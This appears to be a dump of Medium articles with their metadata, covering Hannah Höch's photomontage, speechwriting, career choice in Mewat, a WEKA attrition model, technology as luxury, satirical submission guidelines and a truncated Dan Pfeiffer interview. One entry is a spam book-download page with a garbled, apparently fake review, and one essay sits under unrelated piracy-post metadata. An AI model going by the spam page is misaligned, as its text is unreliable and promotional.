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Being the eldest of five children, the girl was brought up in a comfortable and quiet environment of the small town. Her parents, a supervisor in an insurance company and an amateur painter sent her to Girl’s High school. However, at the age of 15 Hannah had to quit studying for the long six years to take care of her newborn sister. Only in 1912 she continued her education with Harold Bengen in School of Applied Arts, mastering glass design. As the World War I broke up Hannah returned to the native town to work in the Red Cross. The first years after war the young woman recommenced her studying, getting to know graphic arts. 1915 was highlighted by an acquaintance with an Austrian artist Raoul Hausmann, which grew into the long-lasting romantic relationship and involvement in Berlin Dada movement. For ten years till 1926 Hoch worked in Berlin’s major publisher of newspapers and magazines. Her task was to design embroidering, knitting and crocheting patterns for the booklets. Being on vacation with her beloved in 1918, Hannah discovered ‘the principle of photomontage in cut-and-paste images that soldiers sent to their families’ (National gallery of Art). This find affected greatly on her artistic production, and she created mass-media photographs comprising the elements of photomontage and handwork patterns, thus combining traditional and modern culture. Her prior preoccupation was to represent the ‘new woman’ of the Weimar Republic with new social role and given freedoms. Hoch was the only woman in Berlin Dada, who took part in all kinds of events and exhibitions showcasing her socially critical works of art. Till 1931 she participated in exhibitions but with the rise of National Social regime was forbidden to present her creative work. Till her last breath in 1978 Hannah Hoch lived and worked in the outskirts of Berlin-Heiligensee. The piece of art which is going to be analyzed in this research is ‘The beautiful girl’ designed in 1919–1920. It combines the elements of technology and females. In the middle of the picture one can clearly see a woman dressed in a modern bathing suit with a light bulb on her head which probably serves as a sun umbrella. In the background a large advertisement with a woman’s hair-do on top is presented. Maud Lavin describes strange human as ‘she is part human, part machine, part commodity’ (Lavin). The woman is surrounded by the images of industrialization as tires, gears, signals and BMW logos. A woman’s profile with the cat eyes, untrusting and skeptical, in the upper right corner is eye-catching as well. This unusually large eye symbolizes DADA movement — a monocle, which is present in almost every Hoch’s work. The colour scheme does not offer rich palette of tints, including mostly black, white, orange and red pieces. The photo is surrounded by the BMW circles which add the spots of blue. An apt description of the piece is given in the book ‘Cut with the Kitchen Knife’ and states that it is ‘a portrait of a modern woman defined by signs of femininity, technology, media and advertising’ (Lavin). In other words Hannah Hoch focused on the woman of the new age, free and keeping up with the fast-moving world. The artist promoted feministic ideas and from her point of view urbanization and modern technologies were meant to give hope to woman to gain equality of genders. With this photomontage she commented on how the woman was expected to combine the role of a wife and mother with the role of a worker in the industrialized world. The light bulb instead of a face shows that women were perceived as unthinking machines which do not question their position and can be turned on or off at any time at man’s will. But at the same time they were to remain attractive to satisfy men’s needs. The watch is viewed as the representation of how quickly women are to adapt to the changes. In a nutshell, Hoch concentrated on two opposite visions of the modern woman: the one from the television screens — smoking, working, wearing sexy clothes, voting and the real one who remained being a housewife. The beautiful girl’ is an example of the art within the DADA movement. An artistic and literal current began in 1916 as the reaction to World War I and spread throughout Northern America and Europe. Every single convention was challenged and bourgeois society was scandalized. The Dadaists stated that over-valuing conformity, classism and nationalism among modern cultures led to horrors of the World War I. In other words, they rejected logic and reason and turned to irrationality, chaos and nonsense. The first DADA international Fair was organized in Berlin in 1920 exposing a shocking discontentment with military and German nationalism (Dada. A five minute history). Hannah Hoch was introduced to the world of DADA by Raoul Hausman who together with Kurt Schwitters, Piet Mondrian and Hans Richter was one of the influential artists in the movement. Hoch became the only German woman who referred to DADA. She managed to follow the general Dadaist aesthetic, but at the same time she surely and steadily incorporated a feminist philosophy. Her aim was to submit female equality within the canvass of other DADA’s conceptions. Though Hannah Hoch officially was a member of the movement, she never became the true one, because men saw her only as ‘a charming and gifted amateur artist’ (Lavin). Hans Richter, an unofficial spokesperson shared his opinion about the only woman in their community in the following words: ‘the girl who produced sandwiches, beer and coffee on a limited budget’ forgetting that she was among the few members with stable income. In spite of the gender oppressions, Hannah’s desire to convey her idea was never weakened. Difficulties only strengthened her and made her an outstanding artist. A note with these return words was found among her possessions: ‘None of these men were satisfied with just an ordinary woman. But neither were they included to abandon the (conventional) male/masculine morality toward the woman. Enlightened by Freud, in protest against the older generation. . . they all desired this ‘New Woman’ and her groundbreaking will to freedom. But — they more or less brutally rejected the notion that they, too, had to adopt new attitudes. . . This led to these truly Strinbergian dramas that typified the private lives of these men’ (Maloney). Hoch’s technique was characterized by fusing male and female parts of the body or bodies of females from different epochs — a ‘traditional’ woman and ‘modern’, liberated and free of sexual stereotypes one. What’s more, combining male and female parts, the female ones were always more distinctive and vibrant, while the male ones took their place in the background. Hannah created unique works of art experimenting with paintings, collages, graphic and photography. Her women were made from bits and pieces from dolls, mannequins of brides or children as these members of the society were not considered as valuable. Today Hannah Hoch is most associated with her famous photomontage ‘Cut with the kitchen knife DADA through the last Weimer Beer-Belly Cultural epoch of Germany’ (1919–1920). This piece of art highlights social confusion during the era of Weimar Republic, oppositionists and government radicals (Grabner). In spite of never being truly accepted by the rest of her society, this woman with a quiet voice managed to speak out loud her feministic message. Looking at Hannah Hoch’s art for the first time I found it confusing, because couldn’t comprehend the meaning. It was quite obvious that every single piece and structure is a symbol of the era, its ideas and beliefs. However, after having learned about her life and constant endeavors to declare about female’s right, little by little I started to realize what’s what. As an object for research I chose ‘The beautiful girl’ as, to my mind, its theme and message intersects with the modern tendency: a successful, clever, beautiful and free woman has to become one in no time, cause the world is moving faster and faster. I enjoyed working with this artist as her example is inspiring and is worth following

https://medium.com/@pendalbelut/zh-en-%E5%BF%83%E7%81%B5%E5%A5%87%E6%97%85-%E5%AE%8C%E6%95%B4%E7%89%88-2020%E5%9C%A8%E7%BA%BF%E5%85%8D%E8%B4%B9-hd-1080p-4k-b2f7b89b5d27

['Pendal Belut']

2020-12-21 15:03:07.697000+00:00

['Anmation', '2020', 'Soul', 'China', 'Full Version']

Writing a Good Speech

We are aware that writing a speech might not be as easy as everyone thinks. Actually, even copywriters think too much when it comes to writing a speech because it isn’t something that you are going to put up on social media or on a website. It’s a completely different situation because you are going to deliver that speech to an audience. The thing about speeches is that they usually have a time limit. You don’t want to tell a story that isn’t going anywhere or teach about something so quickly that most of your audience is not going to be able to understand. That is why speeches need to be structured, and usually, you work through a presentation with all the bullets that you need to remember. This tool is amazing because it allows you to go through every point of your speech in a specific way. First of all, pick your main ideas, the structure of your speech should have concrete points that you are going to be discussing. You can write them down or create a presentation with that structure. It is a good way to keep your ideas in order and together at the same place. Then, make sure to use examples — people understand better when you are explaining things with examples since they are easier to visualize. If you are explaining how to run your own blog, then go to your personal blog and show the process, from picking the topics to writing everything down and post it. You will see how you will engage with the audience in a much better way. Also, make sure to simplify your ideas. If you go round and round in circles around the same topic you will lose your audience’s attention. And you don’t want that to happen. A good piece of advice is to look at your first draft of your speech, go back and look for words or ideas that you can edit out. And last but not least, make sure that in your speech you are able to connect with your audience. Use experiences to explain what you are talking about to make them feel relatable to you. We decided to discuss this topic with the expert Elizabeth Fournier (@elizfournier) from The Green Reaper who gave us this valuable advice: “The audience knows if you are not speaking from your heart. The audience also knows if you are giving a speech versus speaking with passion. Create the speech by talking out loud in the video recorder on your phone or a recording device. The message truly needs to be in your own words, with your own voice.” Make sure that others understand your passions, the reason why you are deciding to jump into a big audience, and let them know what you are thinking about. Following Elizabeth’s ideas, SJ (@SBSLEducSoltns) a Creative Educational Disruptor pointed out the importance of being equal, letting your audience know that you are one of them: “Speak to them as an edifier and NOT an expert. Americans are not historically fond of aristocratic/elitists — we fought two wars with Britain over our independence. When you write a speech, you clearly have something to say, impart, and share/inform them on/for: come across as edifying and not as a ‘know it all’ expert that talks down to them. Lastly, Great Speech Writing (@Gr8SpeechWriter) said, “Put your audience first. Imagine you are listening. Be relevant. Be clear. Be empathetic. Don’t fall into the same trap as everyone else and list what you want to say — translate it into something that your audience will actually want to hear and remember.” All these pieces of advice have something in common: empathize with your audience. We all have been on the other side of the story where we have to listen to long speeches, make sure yours stands out by putting your audience first.

https://medium.com/writers-blokke/writing-a-good-speech-7e6069a34a16

["Dr. Rissy'S Writing"]

2020-11-07 09:47:19.742000+00:00

['Writing Tips From Writers', 'Writing Tips', 'Great Speeches', 'Speechwriting', 'Copywriting Tips']

Daily Planner: Page a Day to Do List Planning Journal Notebook — Get Organized Today!

Daily Planner: Page a Day to Do List Planning Journal Notebook — Get Organized Today! Naoma Fludd Apr 1·2 min read Book Review Merely no words to describe. I have got study and i am confident that i am going to planning to go through yet again once again in the foreseeable future. You will like just how the writer compose this publication. (Devante Schmitt) DAILY PLANNER: PAGE A DAY TO DO LIST PLANNING JOURNAL NOTEBOOK — GET ORGANIZED TODAY! — To download Daily Planner: Page a Day to Do List Planning Journal Notebook — Get Organized Today! eBook, please access the link beneath and save the file or gain access to additional information which might be highly relevant to Daily Planner: Page a Day to Do List Planning Journal Notebook — Get Organized Today! book. » Download Daily Planner: Page a Day to Do List Planning Journal Notebook — Get Organized Today! PDF « Our web service was introduced by using a wish to function as a full online digital library which offers entry to many PDF file guide collection. You will probably find many different types of e-publication and other literatures from our documents data base. Specific popular subjects that distribute on our catalog are famous books, solution key, test test questions and answer, guide paper, skill manual, quiz trial, consumer handbook, consumer guide, service instructions, restoration handbook, and many others. All e-book all rights stay with the experts, and downloads come ASIS. We’ve e-books for each subject readily available for download. We also provide a great collection of pdfs for individuals for example instructional universities textbooks, kids books, college books that may enable your youngster for a college degree or during school courses. Feel free to sign up to own access to among the greatest collection of free e books. Join today!

https://medium.com/@engeneering-esteem/daily-planner-page-a-day-to-do-list-planning-journal-notebook-get-organized-today-c1c0622a8d96

['Naoma Fludd']

2021-04-01 05:40:42.779000+00:00

['Help', 'Books', 'Self']

Mob Mentality: When will Mewat be developed?

Mob Mentality: When will Mewat be developed? Aasif is a learner in our Development Leaders for India program People turn to the same shop during rush hour, and do not think it is necessary to consider other accompanying shops, even if there are better goods available. When there are three people standing together outside the shop, then a fourth will stop by, thinking that there must be something of value there. Parents might think “If Hassan Saheb’s son has studied and become a doctor, then why must my son stay behind, even though he is a singer from within?” Or they might think “Three boys from the neighborhood have gone abroad to become engineers, so why not get our son admitted in engineering, whether he has the want or the courage to become an engineer or not?” We have fallen prey to this mentality, and become sheep, to such an extent that we are blinded on our path. This blinding continues, from one generation to the next. We should not think that all minds are meant to become doctors or engineers. Some children have a knack for becoming good teachers, while other children might be cut out for having a career in business. And, some children can become scientists, if they are guided in the right direction, depending on their talents and intelligence. An innocent child who, under parental pressure, becomes a chartered accountant one day, places his degree in front of his parents one day and says, “You succeeded. Like the son of ‘Ram-Mohan’, you, now, also have a chartered accountant at home. But this chartered accountant killed an artist, who loved the camera. This artist wanted to play with colours, and now he will just play with notes…” Who knows what people are going through? A bus driver in a khaki uniform who collects tickets and faces the dust on the roadside all day, might be sobbing on the inside. And who knows what people are capable of? Someone who might have made a model of a car that would have surprised the world, is making round loaves of bread, and keeping clothes in the cupboard. For instance, a girl who might have a talented Urdu writer hidden within, could be pursuing a professional degree and not even be aware of the “alif” of Urdu literature. If someone asks me, “When will Mewat develop further? When will it progress?” I will have but one answer, “The day everyone follows their own understanding of things in life, where education is not chosen by relatives or neighbours, but by children themselves who are encouraged by society, that is the day that no one can stop us from progressing.” Think positive.

https://medium.com/@kayantar/mob-mentality-when-will-mewat-be-developed-b311fe195be4

['Kayantar Foundation']

2020-12-21 16:16:09.576000+00:00

['Learning And Development', 'Rural', 'Development', 'Social Change', 'India']

Attrition Prediction Using Machine Learning in WEKA

Data Processing Data processing is a technique in which we make the data useful by data cleaning, data transformation, and data reduction. The data used for this analysis is already cleaned, i.e., it does not have any missing values, but it is very noisy contains attributes like ‘EmployeeCount,’ ‘Over18’, and ‘StandardHours.’ These attributes have the same value for all the instances and do not contain any relevant information, so I decided to drop them for the analysis. The class variable in this dataset is highly imbalanced (84% majority class (‘no’) and 16% minority class (‘yes’)), so to oversample the minority class, I used SMOTE balancer in WEKA. For this analysis, I will be using a k-fold cross-validation technique to build the model. After all, it is one of the most common techniques to build a predictive model, and it also helps to overcome over fitting in the model. Feature Selection For feature selection and analysis, I used the filtering method Information Gain attribute evaluation with the full training set. Information gain correlates all the attributes with the class variable and assign a value depending on their weight. It also helps us to evaluate the essential attributes, and with the help of this feature selection method, we can build our model with high accuracy and precision. There are 35 attributes in this dataset from them; I dropped ‘Age,’ ‘Over18’, ‘EmployeeCount,’ and ‘StandardHours.’ Because they contain the same values for all the instance and does not contain any relevant information, we evaluated the top 20 attributes ( Below Figure) and applied our machine learning algorithms. InfoGain Ranked Attributes Classification Techniques 1. Bayes Net Bayesian Network is the classification algorithm based on the Bayes’ theorem. We can call it an ‘independent feature model’ because it assumes that there is no relationship between the features (Datalab, 2018). 2. J48 — Decision Tree The decision tree is a supervised machine learning algorithm that is used for classification as well as regression. It is the tree-like structure, which includes nodes (attributes), branch (rule), and leaf (outcome). The decision tree evaluates the best feature and then split the data into small samples and repeats this process until there is no attribute remaining and no more instances remaining. 3. K- Nearest Neighbor (K-NN) K-NN is the machine learning algorithm that is widely used for classification and regression. It is a supervised machine learning algorithm. It is one of the most basic and essential algorithms used in different organizations. K-NN is lazy and non — parametric. By lazy, it means that it uses all the given data for the training purpose, and by non-parametric, it means that it does not make any assumption about the given data. This algorithm identifies the k-nearest neighbor using the distance proximity function to evaluate the unidentified data point. We are going to use it in our analysis because it builds the most accurate model and predictions. For this analysis, I will be using k=1 for our model. 4. Random Forest Random forest is the machine learning algorithm that is used for classification and regression. It is a supervised machine learning algorithm. It creates many decision trees on a data sample and create a prediction for each of them and build the best solution through voting. It is one of the best algorithms to overcome overfitting in the model. Random forest is better than the decision tree because it can also work on the large dataset, and it also creates a model with high accuracy. Its total processing is based on ‘wisdom of crowds’ (Yiu, 2019). Result Analysis To evaluate the model, I will try to understand the confusion matrix of that particular algorithms. With the help of the confusion matrix, we can evaluate the performance of any model. It is a matrix which includes the following values: True Positives — where the actual class is ‘yes’ and predicted as ‘yes’ by the model, that is, the model has correctly predicted these instances. True Negative — where the actual class is ‘no’ and also predicted as ‘no’ by the model; that is, the model correctly predicted these instances. False Positives — where the actual class is ‘no’ and predicted as ‘yes’ by the model; that is, the model wrongly predicted these instances. False Negatives — where the actual is ‘yes’ and predicted as ‘no’ by the model; that is, the model wrongly predicted these instances. (Rawat, 2019) Sensitivity — It is the proportion (probability) of the attired employees who were predicted as attired. Specificity — It is the proportion (probability) of non-attired employees who were predicted as not attired. I will be using these values for the evaluation of our model. The section below is the evaluation after feature selection. 1. Bayes Net In this algorithm, the correctly classified instances are 1954, and the accuracy rate is 89.6%. This algorithm took 0.12 sec to build. Below figure shows the confusion matrix of this algorithm. True positives — 721 instances True negatives — 1233 instances False positives — 0 instances False Negative — 227 instances Sensitivity — 76.1% Specificity — 100% Bayes Net — Confusion Matrix 2. J48 — Decision Tree 1. In this algorithm, the correctly classified instances are 1836, and the accuracy rate is 84.2%. This algorithm took 0.19 sec to build and created the pruned tree. The size of the tree is 213. While the number of leaves is 124. Below figure shows the confusion matrix generated by this algorithm. True positives — 734 instances True negatives — 1102 instances False positives — 131 instances False Negative — 214 instances Sensitivity — 77.4% Specificity — 89% J48 — Confusion Matrix 3. K-Nearest Neighbor In this algorithm, the correctly classified instances are 1776, and the accuracy rate is 81.4%. In this model, we selected ‘1’ nearest neighbor that is k=1. This model took 0 sec to build. Below figure shows the confusion matrix generated by this algorithm. True positives — 787 instances True negatives — 989 instances False positives — 244 instances False Negative — 161 instances Sensitivity — 83% Specificity — 80.2% K-NN — Confusion Matrix 4. Random Forest In this algorithm, the correctly classifies instances are 1966, and the accuracy rate is 90.14%. This model took 0.83 sec to build, and it performed 100 iterations. Below figure shows the confusion matrix generated by the random forest classifier. True positives — 786 instances True negatives — 1180 instances False positives — 53 instances False Negative — 162 instances Sensitivity — 82.9% Specificity — 95% Random Forest — Confusion Matrix Comparison — Graphical Representation Comparison between different measures Above figure represents the comparison between the different measures of four different machine learning algorithms. As we can see from the graph, the Random forest shows the highest accuracy rate than the others. On the other hand, K-nearest neighbor shows the lowest accuracy rate. Bayes net shows the highest precision value ‘1’ while the k-nearest neighbor shows the lowest precision value. If we compare in terms of accuracy, the random forest is performing better in predicting the class variable that is attrition of the employee. However, in terms of precision, the Bayes net is performing better with the value ‘1’. Comparison of accuracy after feature selection As seen in above figure, after applying feature selection, there is a significant change in the accuracy of our models. There is 8.2%, 1.7%, 1.6%, and 4.4% increment in the accuracy of the models Bayes Net, J48, K-NN, and Random Forest, respectively. The highest increment in the accuracy is in the Bayes Net, while the lowest increment is in the K-NN. Conclusion In this analysis, we tried to predict employee attrition using machine learning. To come up with the best model is quite challenging because these data and databases are entirely redundant. We found out that the random forest is performing better than the other algorithms with 90.1% accuracy. So random forest is recommended to all the companies who are trying to predict their employee attrition. Thank you for reading. References Datalab, A. (2018, December 4). What is Bayesian Network Classifier? Retrieved from Medium: https://medium.com/@analyttica/what-is-bayesiannetwork-classifier-4d2771f91f63 Rawat, S. (2019, October 3). Is accuracy EVERYTHING? — Various metrics to evaluate the classification model. Retrieved from Medium: https://towardsdatascience.com/is-accuracyeverything-96da9afd540d Yiu, T. (2019, june 13). Understanding Random Forest — How the Algorithm Works and Why it Is So Effective. Retrieved from Towards data science website: https://towardsdatascience.com/understandingrandom-forest-58381e0602d2

https://towardsdatascience.com/attrition-prediction-using-machine-learning-in-weka-146fa33247b4

['Akshay Gautam']

2020-06-15 13:43:58.566000+00:00

['Machine Learning', 'Employee Attrition', 'Weka', 'Towards Data Science', 'Data Science']

Technology is the new luxury

Technology is not how we understood it to be. Luxury is not how we defined it to be. Our definitions of technology and luxury have changed and they are rapidly converging. This is not about the increasing role of technology in the luxury industry, but about how technology in itself has increasingly started wearing the luxury cloak. In Q4' 2017, HSBC analysts strengthened their ‘Buy’ ratings for Apple shares. They had an interesting reason behind that Buy rating: “Recently, with an offensive retail strategy and in some cases comparable price points, Apple has competed with the likes of Louis Vuitton, Cartier or Prada which made us raise the question: is Apple actually a luxury stock? Yes.” One of the surprising (but not unexpected) findings of the 2018 Hurun Report (which surveys HNWIs in China) is Apple topping the ranks of brands given as gifts by HNWIs). Who did it beat to get up there? The likes of Louis Vuitton, Bvlgari and Chanel. In 2017, for the first time, Tesla sold more units of its premium Model S than the Mercedes Benz S-Class and the BMW 7-series. They had already achieved this feat long back in the US, where the Model S has been the leading car model in the luxury segment for quite a few years now. This is not even a technology brand entering a previously non-technology domains. This is about a new car brand upstaging the leaders in the premium segment. You can argue as to what the role of technology is in cars, which are by nature one of the greatest technological inventions? Yes there is as Tesla redefined and repositioned luxury car ownership through environmentally-friendly, sustainability focused and efficiency-driven products. There was no heritage or legacy in automobile manufacturing, but a strong intent to redefine the codes of luxury in car ownership. These are just the bigger and more talked about examples (Apple, Samsung, Tesla etc.). Our definitions of luxury are being changed at the core, and most of the time through small, deliberate and impactful changes. Another interesting aspect is that the evolution of technology into luxury is a gradual shift that moves across the world. A change that has already happened in Europe may take a while before it gains an acceptance in Asia. Take the example of Starbucks — in the UK we don’t skip a beat when we walk into a Starbucks store, while it is still a high form of luxury in Asia. The world’s largest Starbucks store was opened in Shanghai towards the end of 2017. It is the epitome of luxury shopping (forget coffee drinking) — can cater to around 7000 customers a day, the longest coffee bar in the world also has a ‘Pairing Bar’ (spewing out advice on pairing coffee with food), symphony pipes, more than 1000 traditional Chinese seals (chops) that showcase the Starbucks story etc. At almost the same time, Starbucks opened its biggest store in Bangkok (Thailand) with the usual luxury connotations (two floors, hybrid espresso machines, Starbucks Reserve Experience Bar etc.) I am sure, although qualitatively, that Starbucks either hasn’t opened in any new stores in London lately, and even if they have, their stores are getting smaller and dirtier. The fact is simple — Londoners do not equate Starbucks with luxury. Will Starbucks ever open a takeaway store in Shanghai? Probably not. These winds of change are not unbeknownst to the traditional luxury manufacturer. Many of them are willing to risk their equity and hundreds of years of legacy to launch technology products. The Apple Watch didn’t take off but it did rattle cages. In Q1' 2017, the veritable Montblanc entered the smartwatch segment with the launch of the Montblanc Summit. The summary of the reactions and analysis were “nothing in the product to justify the Montblanc name and price tag”. Traditional luxury depended on exclusivity as the key factor for appeal and for justifying high prices. Coupled with it was craftsmanship, legacy, history and deep tradition. The new definition of ‘luxury’ is slowly shifting away from these codes, and is driven by the need to have a high-quality life, more obsession with the self, new set of hygiene needs, wide and continuous access to knowledge, shrinking of the world in terms of distance and higher levels of cultural intermingling. The word ‘innovative’ has pushed its way into the luxury lexicon rapidly in the last few years. This single word, which defines the evolution of new luxury, has led luxury houses to start engaging, investing, acquiring and rewarding startups who are building technology-driven products and services for their industries. Although it may sound overtly simplistic to credit a single word, but it is this very need for innovation that technology satisfies more than anything else. The list of the 30 startups selected for the 2018 LVMH Innovation Awards make an interesting reading. The key points highlight why technology is forever going to continue redefining luxury: A mobile and universally connected olfactory sensor that can identify and classify odours A new category of materials that combine copper and glass or gold and glass into a single material A solution that combines fashion and technology by designing accessories and clothing that can be customised immediately In sum we have technology that has the potential to create new fragrances, new materials for luxury manufacturing and new lines of customisable clothing and accessories. 5 years ago this would have been unthinkable. The new definition of luxury has now also moved into subscription channels or on-demand as a business model. In the past, sampling luxury was akin to sniffing perfume strips, getting hold of a sample while attending a launch or simply getting access to limited edition products before they hit stores. But now you can get them via monthly subscription boxes to your home. This again exemplifies the trend of making luxury more convenient and personalised. How has technology become so synonymous and harmonised with luxury? This is because of quite a few influential factors, and all of them are related to our altered definitions of luxury: We don’t view luxury as a mode of celebrating disparate, fragmented, once-in-a-while occasions in our lives (e.g. birthdays, anniversaries, promotions, weddings, arrival of a child) anymore. Luxury is now increasingly a state of being (and in our own unique ways) Lack of money does not inhibit us from experiencing the luxurious and the expensive — the availability of cheap credit (aka debt) has made access to luxury much easier Exclusivity is a very poor differentiator of luxury now — in the true sense of the word, exclusivity does not matter anymore. Yes we do still queue up overnight to buy the next generation iPhone and add our names to the never moving Birkin bag waitlist, but it is not the end of the world Luxury now comes in smaller, ‘mini’ versions for us — In Shanghai, an overpriced Starbucks coffee is a mini luxury, in London it would ordering an Uber Exec to arrive in style at a luxury club or house party, in Delhi it would be hanging out in the latest Mexican restaurant that has opened in the luxury mall next door Luxury is increasingly not seen only as a gift anymore. It is for our self consumption. Luxury is increasingly not for collectors or connoisseurs. It can be for anyone who has the money, interest or curiosity (or has the connections to break into super exclusive clubs) Luxury is not about owning inanimate objects anymore. It is about buying something that you can continuously use, which in turn enhances the quality of one dimension of your life (for example the iPhone, the AirPods, underfloor heating in your bathrooms, Bose or Blaupunkt speaker systems, an annual multi-brand airline lounge pass etc.) Technology enables this transformation of the definition of luxury. It has made luxury ubiquitous, shareable, able to be experienced without ownership, bite-sized, flexible, customised, convenient and more accessible. All of this traditional luxury was not, but new luxury is.

https://sandeepdas9179.medium.com/technology-is-the-new-luxury-f4ca2359f6fa

['Sandeep Das']

2018-06-30 17:09:57.945000+00:00

['Brands', 'Branding', 'Technology', 'Luxury', 'Strategy']

Submission Guidelines For ‘R.E.M.’s Friday, June 23, 1995 Concert At Madison Square Garden’ Magazine

Submission Guidelines For ‘R.E.M.’s Friday, June 23, 1995 Concert At Madison Square Garden’ Magazine Submissions must be unique and well organized, just like the band’s setlist on June 23, 1995 at Madison Square Garden. Illustration by Louis Sobol Here at ‘R.E.M.’s Friday, June 23, 1995 Concert At Madison Square Garden’ Magazine, we publish articles about R.E.M.’s Friday, June 23, 1995 concert at Madison Square Garden. Non-Fiction Only Please keep your submissions light and family-friendly, no vulgarity, no advertising, no lists, no fiction. We accept only real, non-fiction, first-hand recounting of your life experiences as they pertain to R.E.M.’s Friday, June 23, 1995 concert at Madison Square Garden. Desired Topics We are interested in any and all minutiae about the concert itself, from the first chords of ‘I Took Your Name’ to the final frenzy of ‘It’s The End Of The World As We Know It (And I Feel Fine)’. We want to know: How you felt the moment you woke up alone the morning of June 23, 1995 and thought, ‘I’m going to an R.E.M. concert tonight. At Madison Square Garden.’ Whether you carried your ticket in your wallet, your pocket, or a money belt hidden under your tour shirt. Which tour shirt you wore to the concert and which one you bought at the concert. When your concert neighbor asked you not to sing along so loudly during ‘Losing My Religion,’ if you punched him in the face and kept singing along as loudly as you goddamned pleased, like I did. If you studied Michael Stipe’s dance moves so you could replicate them at the next wedding you attended. When the concert ended, whether you cried or sobbed. Among the many guests at the after-party was MTV News personality and pixie goddess Tabitha Soren: if you had summoned up the courage to talk to her at the party, do you think she would have married you instead of Moneyball author Michael Lewis? If you shook Mike Mills’ hand at the after-party like I did, how would you describe the rush of validity? Was it like a thousand cosmic endorphins sliding into your wrist, or like a million megawatts of most heavenly-blessed karma flooding into your palm? Has your life never been the same since? Did it give you the confidence to begin a magazine all about the Friday, June 23, 1995 R.E.M. concert at Madison Square Garden? When Michael Stipe didn’t show up at the after-party, did the sour disappointment of missed opportunity poison your world view until you found the right medication? Have you had kids since the concert? Have your kids seen a recording of R.E.M.’s Friday, June 23, 1995 concert at Madison Square Garden? I swear I’ve moved on, but If I had had a son with Tabitha Soren, should we have named him Michael, Mike, Bill, or Peter? Same question if it was a daughter. We LOVE think-pieces inspired by specific songs R.E.M. performed live in concert on Friday, June 23, 1995 at Madison Square Garden. Past pieces explored questions as diverse as: Do you know anybody who never hurts? Will we ever have a woman on the moon? Have you ever attacked Dan Rather? Less Desired Topics Topics inspired by R.E.M.’s Thursday, June 22, 1995 concert at Madison Square Garden or R.E.M.’s Saturday, June 24, 1995 concert at Madison Square Garden, while potentially fascinating, are not suitable for this magazine. For those topics, please consider our other magazines which pertain directly to those two concerts. Word Count Ideally, your piece will be 40 words to 9,000 words long, which would be 1.6 to 360 words for each song R.E.M. performed on Friday, June 23, 1995 at Madison Square Garden. Grammar Please proof your work. I am the entire single-and-looking editorial staff. Artwork We accept artistic and photographic work if your name is Michael Stipe. Love, Not Hate The purpose of your piece cannot be to spread hate, disparage, elicit outrage, or otherwise cause harm. We spread love — specifically, love inspired by the Friday, June 23, 1995 R.E.M. concert at Madison Square Garden. We’re looking for pieces that make a cogent point about the Friday, June 23 R.E.M. concert at Madison Square Garden, whether you are writing about Mike Mills’ country-glam suit, how many times Peter Buck spun to his left, the weight of Bill Berry’s eyebrows, or how many times Michael Stipe stood on top of a monitor speaker so he could see me better. Send all submissions via email to REM62395@gmail.com. Put the word ‘Submission’ in the subject line. We try to get back to people within three days, the number of days R.E.M. played Madison Square Garden in June of 1995. Submissions must be unique and well organized, like the band’s setlist and Tabitha Soren’s outfit at the after-party on Friday, June 23, 1995 at Madison Square Garden! Good luck! We look forward to reading your submission.

https://medium.com/slackjaw/submission-guidelines-for-r-e-m-s-friday-june-23-1995-concert-at-madison-square-garden-magazine-1e4a18a888ad

['Christopher Shelley']

2020-08-24 14:01:02.416000+00:00

['Satire', 'Humor', 'Concerts', 'Submission Guidelines', 'Music']

Dan Pfeiffer on Humility and Meeting People (and Voters) Where They Are

Dan Pfeiffer on Humility and Meeting People (and Voters) Where They Are Dan Pfeiffer served President Obama for eight years as his Communications Director on his 2008 campaign and then in the White House as Senior Advisor to the President for Strategy and Communications. He is a noted political and digital strategist, Pod Save America co-host, CNN contributor, a very regular newsletter publisher on messaging and political strategy, and best selling author (with a new book coming out in February). Here are excerpts from this Mixing Board Studio Session between Dan and Mixing Board founder Sean Garrett. They talk about the differences and increasing similarities between the tech and political worlds; how to manage the divide at work between too much political speak and zero political speak; and, how President Biden might adjust his comms strategy as we head into another high-stakes election season. SG: Is it weird to be known more as a podcaster and author than a close confidant to one of the greatest presidents of all time? DP: Life has been one really weird turn of events since about midway through election night in 2016. The whole thing is very weird and strange, but I guess life has been very weird and strange for a lot of people over these last few years. SG: I don’t know how much you were talking about podcasts in 2014, but now you are helping run one and it’s a very big one. How is that front row seat to the media landscape? How do you even articulate the change between 2008 and now? DP: I often describe this period as the greatest change in how people consume and distribute information since the invention of the printing press. Some very pedantic historians will sometimes push back and say that I am erasing the importance of the telegram… but either way it’s been a tremendous transformation. When I started working for President Obama in 2007, Facebook was primarily for college kids. It had not yet taken on its democracy destroying future. Twitter was a platform that was mostly ignored for politics and news. It was largely an internal communications platform for people in the tech industry. YouTube was the place where you put up videos that you wanted other people to see. The smartphone was not invented yet, people were using Blackberries. If you flash forward to when you and I first met in 2014, how much had changed even then, and then you go to now. It’s been this dramatic change in every single way — in what matters in communication, how people get information, how people think about sharing information. All of it has changed so dramatically. Back in 2008, even podcasts were this very niche thing, but they did exist. We actually tried to put President Obama on Bill Simmons’ podcast back then but the higher-ups in ESPN nixed it. They were years ahead of their “stick to sports” approach to programming. We ended up doing Simmons’ podcast a couple of times during the White House. And he did Mark Maron’s podcast in 2015, I believe. It’s this fundamental change from this broadcast communications model, where people get the information that higher-ups in a handful of media places choose to give them at the time and place of those media executives’ choosing, to people having this endless menu of information that they can choose to get whenever they want. It’s fundamentally altered every bit of communication strategy and thinking. The way most people, particularly in my old industry, think about communications is still well behind the times of how much change has happened. SG: If you’re starting off in comms in 2005 versus starting off in 2021, it’s an entirely different job. Even executives in the tech world still are probably not completely in tune with this moment today and just how much the job has changed. How do you manage this change when you’re a comms leader? You’re leading executives, you’re leading politicians, you’re leading policymakers on how to effectively navigate this environment, when it dramatically changes every six months. How do you maintain that tact? DP: You have to break down all the old ways of thinking about it. When I started doing campaigns, at the very turn of the century, communications was press management. That’s what it was. It was either handling incoming press, to be responsive to this very important constituency who can influence how people viewed your company or your politician or your campaign. Or it was having a proactive strategy to communicate with your audience — voters, the market, potential customers. You were doing that through the press. There was this hard wall between earned media and paid advertising. They were completely separate things thought about completely differently. Within organizations there was almost always this wall where these people rarely even talked to each other. None of that exists anymore. Press management is one tiny fraction of how you message in 2021, yet we still continue to have all the old structures — there’s the communications department, and then there’s the marketing department. Some of this is breaking down both in politics and on the corporate side, but for the most part, people are still adhering to that model. You have to back completely off of it. You can get caught on this hamster wheel of mediums, where it’s just, “Oh, it’s TikTok today. Why don’t we have a TikTok strategy?” Then we go hire every 22-year-old we can possibly find and say, “Give us a TikTok strategy.” And then you end up with brands, or politicians, doing incredibly tone deaf stuff, just to say you’re doing TikTok. People 